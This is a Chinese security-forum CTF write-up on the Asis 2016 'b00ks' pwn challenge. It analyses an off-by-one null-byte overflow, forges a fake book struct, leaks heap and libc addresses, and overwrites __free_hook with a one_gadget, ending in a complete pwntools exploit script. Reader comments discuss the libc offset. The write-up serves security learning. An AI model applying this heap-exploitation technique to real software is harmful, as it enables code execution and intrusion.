首页
社区
课程
招聘
[原创]Pwn堆利用学习——Off-By-One——Asis_2016_b00ks
2020-11-23 09:37 11477

[原创]Pwn堆利用学习——Off-By-One——Asis_2016_b00ks

2020-11-23 09:37
11477

challenges1-Asis_2016_b00ks

步骤一:运行查看

​ 是一个图书管理系统,提供了创建、删除、编辑、打印图书等功能

 

步骤二:查看文件类型和保护机制

  • 64位程序
  • 只关闭了canary
1
2
3
4
5
$ file Asis_2016_b00ks
Asis_2016_b00ks: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cdcd9edea919e679ace66ad54da9281d3eb09270, stripped
$ checksec --file=Asis_2016_b00ks
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      No    0        2        Asis_2016_b00ks

步骤三: IDA反编译分析

  • main函数

image-20201028105150344

  • 菜单函数

image-20201028104637579

  • 输入author

image-20201028141700700

 

输入的author_name保存在bss段的0x202040处

  • 创建函数 create()

image-20201028140135283

  • 输入函数read_input()(原sub_9F5)

image-20201028140102611

 

这里存在Off-By-One漏洞。比如输入书名的长度为5,那传入read_input()函数的参数是书名指针和4,在read_input函数里,当i == 4时,循环了5次,读取了长度为5的字符。在最后退出循环之后,又追加了一个0,即往buf里写入了6个字符,所以此处会往buf中越界写一个字符"\x00",存在Off-By-One漏洞。

  • 判断library有没有满的函数sub_B24

image-20201028140230108

  • 如onCreate函数的注释所述,分析之后,得到书的结构体如下:
1
2
3
4
5
6
struct book{
    int book_id;    // offset:0
    char* book_name;    // offset:8   
    char* book_description;    // offset:16 
    int book_description_size;  // offset:24
}
  • book结构体的指针保存在bss段的0x202060处,距离author_name的保存位置有0x20个字节。

image-20201111175947659

 

现在来整理一下:

 

1)首先程序会要求输入author_name;

 

2)然后,创建book的时候,book_name和book_description都会各自创建一个堆;

 

3)还有,创建book的时候,还会创建一个book结构体的堆用来存放book_name和book_descrption的指针;

 

4)会调用有off_by_one漏洞的函数的地方有三处:输入author_name,book_name,book_description的地方。

 

5)可以进行编辑的地方有两处:编辑book_description和author_name。

 

6)bss段如下:

1
2
3
4
5
6
7
8
0x202040 ------------------
                        author_name
0x202060 ------------------ 0x202068
            book1
            book2
                ...
            book20
0x2020FF ------------------

步骤四:调试分析

不要被我的截图里的目录名影响,我的实验环境是ubuntu16x64,glibc版本是2.27。

  • a. 编写模版和选项函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
    if path == '':
        libc = LibcSearcher(func, leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = ELF(path)
        base = leak - libc.sym[func]
        system = base + libc.sym['system']
        binsh = base + libc.search('/bin/sh').next()
 
    return (system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './Asis_2016_b00ks'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
 
def dbg():
    gdb.attach(p)
    pause()
 
 
def createbook(name_size,name,desc_size,desc):
    sla('> ','1')
    sla(': ',str(name_size))
    sla(': ',name)
    sla(': ',str(desc_size))
    sla(': ',desc)
 
def printbook(id):
    sla('> ','4')   
    ru(': ')
    for i in range(id):
        book_id=int(p.readline()[:-1])
        ru(': ')
        book_name=p.readline()[:-1]
        ru(': ')
        book_des=p.readline()[:-1]
        ru(': ')
        book_author=p.readline()[:-1]
    return book_id,book_name,book_des,book_author
 
def createname(name):
    sla(': ',name)
 
def changename(name):
    sla('> ','5')
    sla(': ',name)
 
def editbook(book_id,new_desc):
    sla('> ','3')
    sla(': ',str(book_id))
    sla(': ',new_desc)   
 
def deletebook(book_id):
    sla('> ','2')
    sla(': ',str(book_id))   
 
#start
 
# end
 
p.interactive()
  • b. 创建1个book,查看一下堆和bss
1
2
createname("A"*32)
createbook(0x20,"aaaa",0x20,"aaaaaaaaa")

image-20201115135706595

  • c. 攻击思路

查看程序后发现没有system等函数,保护也只是关闭了Canary,不能改写got表,所以思路就是修改__free_hook地址,让他指向shellcode,这样当我们使用free函数的时候就会自动执行shellcode,获取shell。

 

如前面分析所说,我们可以进行编辑修改的地方有book_description和author_name,且可以通过修改author_name内容来覆盖第一个book指针的最后两位。(它两可以相互覆盖,比如第一次输入32Byte的author_name,实际会产生一个33Byte的字符串,最后1Byte是\x00,然后创建一个book,那么\x00就会被覆盖;在第1个book存在的情况下去修改author_name,修改输入的长度也是32Byte,那么第1个book指针的最后两位会被\x00覆盖)。打印author_name的时候就会把book1地址连着打印出来。

 

image-20201115170335102

 

那么,我们是否可以 伪造一个book ,将这 ”fake book“ 的 book_description 指针指向一个真实的book结构体的 descrition 指针。这样,通过修改这个我们伪造的 book 的 description,我们就可以修改那个真实的 book 的 description 的内存空间,这样,再通过修改此时的 description ,我们就可以做到一个任意地址读写

 

所以可以通过我们伪造的 fake book 来修改book2 的 description 让他指向 __free_hook ,这时,我们再通过修改那个真实的 book 的 description,也就是现在指向的 __free_hook ,因为没有system等后门函数,所以将它变成我们的shellcode就好了,至于shellcode,我们可以通过 “one_gadget” 在libc中来寻找。

 

接下来的问题就是如何去构造fake book。在上面我们知道 author name那有一个漏洞可以改变指向 book1 指针的位置,它能将指针的最后两位变成 “/x00”,在gdb中我们可以看到存放 book1 的内存之前也就是 name1和 description1 这两块内存,而 description1 我们正好可以修改,那我们只要在 description1中按照 book1 的格式伪造一块内存就能达到我们上述的目的了。

 

构造好之后要思考的是如何让bss段里的book1指针指过来,因为前面说过 book1指针可以覆盖,那么,我们只要通过合理的申请内存的大小(即让 description1 块的内容区域地址的最后两位为 “/x00”)。这样,修改author_name为32位长度之后,就能覆盖book1指针最后两位为0,就能指向我们伪造的 book 的 description 那儿去。

 

至于修改“__free_hook”,我们需要知道libc的加载位置。这个的话我们可以通过偏移来计算。当要申请的内存超大的时候,堆的申请会以mmap的形式来进行,而这样申请下的内存与libc是有着固定的偏移的,这个偏移我们通过gdb就可以调试出来。

 

d. 开始写exp调试解题,首先泄漏book1指针地址。首先输入32 字节的 author_name ,会多输一个 \x00,然后创建一个 book ,会覆盖掉\x00,使得author_name与book_struct1指针直接连在一起,然后当输出 author_name 的时候就会把book_struct1也给输出来(这里要注意申请的book1的name和description的大小,需要让description1的地址的最后两位是0)。

1
2
3
4
5
6
7
createname("A"*32)
#createbook(0x20,"aaaa",0x20,"aaaaaaaaa")
#dbg()
createbook(0x80,"aaaa",0x20,"aaaaaaaaa") # 1
book_id_1,book_name,book_desc,book_author=printbook(1) # leak book1_addr
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
leak('book1_addr = ',book1_addr)

image-20201115144025176

 

e. 泄漏book2_description堆的地址。创建第2个book,在book1的description里面构造fake book,然后利用author name那的off-by-one漏洞可以改变指向 book1 指针的位置,它能将指针的最后两位变成 “\x00”。book1堆在book1_description堆的下面,结合前面让book1_description地址最后两位为\x00的操作,这样在bss段里book1指针就是指向book1_description的地址了,而book1_description里存放着我们伪造的fake book,伪造的fake_book里name和description存放的是book2的name和description的地址,打印的时候就能把book2的description堆的地址打印出来

1
2
3
4
5
6
7
8
9
10
createbook(0x21000,"bbbb",0x21000,"bbbbbbbb")
payload=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff)
editbook(book_id_1,payload) # fake book
changename("B"*32)
#dbg()
fake_book_id,fake_book_name,fake_book_desc,book_author=printbook(1)
book2_name_addr = uu64(fake_book_name)
book2_desc_addr = uu64(fake_book_desc)
leak('fake_book_name(book2_name_addr)=',book2_name_addr)
leak('fake_book_des(book2_desc_addr)=',book2_desc_addr)

image-20201123092728078

 

f. 泄漏libc基址。方法是book2_description_addr - 偏移,查看此时mmap和libc之间的偏移。如下图所示,book2_description堆的地址是0x00007ffff7f97010,位于第二个mmap中。又因为book2_description_addr是指向chunk的user_data,没有包含prev_size和size,所以偏移为0x00007ffff7f97000 + 0x10 - 0x00007ffff79e2000

 

image-20201115162907545

 

one_gadget地址

 

image-20201115163427646

1
2
3
4
5
6
7
libc_base=book2_desc_addr - (0x00007ffff7f97010-0x00007ffff79e2000) # leak libc
leak('libc base addr = ',libc_base)
 
free_hook=libc_base+libc.symbols["__free_hook"]
one_gadget = libc_base+ 0x4f432  # 0x4f3d5  0x4f432 0x10a41c
leak('free_hook = ',free_hook)
leak('one_gadget = ',one_gadget)

image-20201115163216737

 

g. 两次调用editbook函数,编辑description,分别写入free_hook函数地址和one_gadget地址。最后调用free函数以getshell。现在book1指针指向book1_description(fake book),fake book里description指针指向book2结构体里description指针的地址。所以第一次编辑description的时候,就是把free_hook的地址写入book2结构体里,把book2结构体里的description指针改成了free_hook函数地址。第二次编辑description的时候,就把one_gadget地址写入到free_hook里去了。

 

image-20201115165155480

 

image-20201123085929689

步骤五:构造Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
    if path == '':
        libc = LibcSearcher(func, leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = ELF(path)
        base = leak - libc.sym[func]
        system = base + libc.sym['system']
        binsh = base + libc.search('/bin/sh').next()
 
    return (system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './Asis_2016_b00ks'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
 
def dbg():
    gdb.attach(p)
    pause()
 
 
def createbook(name_size,name,desc_size,desc):
    sla('> ','1')
    sla(': ',str(name_size))
    sla(': ',name)
    sla(': ',str(desc_size))
    sla(': ',desc)
 
def printbook(id):
    sla('> ','4')   
    ru(': ')
    for i in range(id):
        book_id=int(p.readline()[:-1])
        ru(': ')
        book_name=p.readline()[:-1]
        ru(': ')
        book_des=p.readline()[:-1]
        ru(': ')
        book_author=p.readline()[:-1]
    return book_id,book_name,book_des,book_author
 
def createname(name):
    sla(': ',name)
 
def changename(name):
    sla('> ','5')
    sla(': ',name)
 
def editbook(book_id,new_desc):
    sla('> ','3')
    sla(': ',str(book_id))
    sla(': ',new_desc)   
 
def deletebook(book_id):
    sla('> ','2')
    sla(': ',str(book_id))   
 
#start
createname("A"*32)
#createbook(0x20,"aaaa",0x20,"aaaaaaaaa")
#dbg()
createbook(0x80,"aaaa",0x20,"aaaaaaaaa")
book_id_1,book_name,book_desc,book_author=printbook(1) # leak book1_addr
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
leak('book1_addr = ',book1_addr)
#dbg()
 
createbook(0x21000,"bbbb",0x21000,"bbbbbbbb")
payload=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff)
editbook(book_id_1,payload) # fake book
changename("B"*32)
#dbg()
fake_book_id,fake_book_name,fake_book_desc,book_author=printbook(1)
book2_name_addr = uu64(fake_book_name)
book2_desc_addr = uu64(fake_book_desc)
leak('fake_book_name(book2_name_addr)=',book2_name_addr)
leak('fake_book_des(book2_desc_addr)=',book2_desc_addr)
#dbg()
 
 
libc_base=book2_desc_addr - (0x00007ffff7f97010-0x00007ffff79e2000) # leak libc
leak('libc base addr = ',libc_base)
 
free_hook=libc_base+libc.symbols["__free_hook"]
one_gadget = libc_base+ 0x4f432  # 0x4f3d5  0x4f432 0x10a41c
leak('free_hook = ',free_hook)
leak('one_gadget = ',one_gadget)
#dbg()
 
editbook(1,p64(free_hook))
 
editbook(2,p64(one_gadget))
dbg()
 
deletebook(2)
# end
 
p.interactive()

参考资料


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
点赞4
打赏
分享
最新回复 (2)
雪    币: 14
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
falca 2021-9-5 16:40
2
0
libc基址不就是直接调试出来了吗? 为什么还要多做一步mmap - 偏移? 结果不都是0x00007ffff79e2000?
雪    币: 14
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
falca 2021-9-5 16:42
3
0
所以是为了泄露服务器上的libc基址, 本地和远程唯一不变的是mmap到libc基址的偏移量
游客
登录 | 注册 方可回帖
返回